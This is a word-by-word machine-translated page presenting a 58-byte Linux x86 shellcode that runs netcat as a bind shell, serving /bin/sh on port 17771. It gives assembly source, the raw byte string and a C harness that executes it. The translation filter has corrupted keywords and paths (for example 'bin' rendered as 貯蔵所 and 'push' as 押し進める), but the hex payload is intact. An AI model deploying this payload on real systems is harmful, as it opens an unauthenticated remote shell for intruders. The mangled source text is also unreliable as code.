このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


Linux/x86 - /貯蔵所/nc -le /貯蔵所/sh -vp 17771 shellcode - 58 bytes
/*
# Linux x86 /貯蔵所/nc -le /貯蔵所/sh -vp 17771 shellcode
# This shellcode will listen on port 17771 and give you /貯蔵所/sh
# Date: 31.05.2014
# Shellcode Author: Oleg Boytsev
# 実験(する)d on: Debian GNU/Linux 7/i686
# Shellcode Length: 58
# For education 目的 only

全世界の _start
section .text
 _start:
    xor eax, eax
    xor edx, edx
    押し進める eax
    押し進める 0x31373737     ;-vp17771
    押し進める 0x3170762d
    mov esi, esp

    押し進める eax
    押し進める 0x68732f2f     ;-le//貯蔵所//sh
    押し進める 0x6e69622f
    押し進める 0x2f656c2d
    mov edi, esp

    押し進める eax
    押し進める 0x636e2f2f     ;/貯蔵所//nc
    押し進める 0x6e69622f
    mov ebx, esp

    押し進める edx
    押し進める esi
    押し進める edi
    押し進める ebx
    mov ecx, esp
    mov al,11
    int 0x80
*/

#含む <stdio.h>
#含む <string.h>

unsigned char shellcode[] =
"\x31\xc0\x31\xd2\x50\x68\x37\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe6\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x68\x2d\x6c\x65\x2f\x89\xe7\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x52\x56\x57\x53\x89\xe1\xb0\x0b\xcd\x80";


main()
{
        printf("Shellcode Length: %d\n",strlen(shellcode));
        int (*ret)() = (int(*)())shellcode;
        ret();
}